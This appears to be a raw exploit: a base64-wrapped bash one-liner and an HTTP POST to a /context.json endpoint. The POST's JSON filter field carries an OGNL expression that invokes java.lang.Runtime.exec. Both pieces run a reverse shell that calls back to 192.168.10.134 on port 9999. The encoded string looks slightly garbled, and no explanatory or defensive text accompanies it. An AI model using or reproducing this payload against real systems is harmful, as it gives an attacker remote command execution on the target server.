bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEzNC85OTk5IDA JjE=}|{base64,-d}|{bash,-i}

POST /context.json HTTP/1.1Host: 192.168.10.128:8181Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 1142
{  "personalizations":[    {      "id":"gender-test",      "strategy":"matching-first",      "strategyOptions":{        "fallback":"var2"      },      "contents":[        {          "filters":[            {              "condition":{                "parameterValues":{                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEzNC85OTk5IDA JjE=}|{base64,-d}|{bash,-i}iid\"))",                  "comparisonOperator":"equals",                  "propertyValue":"male"                },                "type":"profilePropertyCondition"              }            }          ]        }      ]    }  ],  "sessionId":"sample"}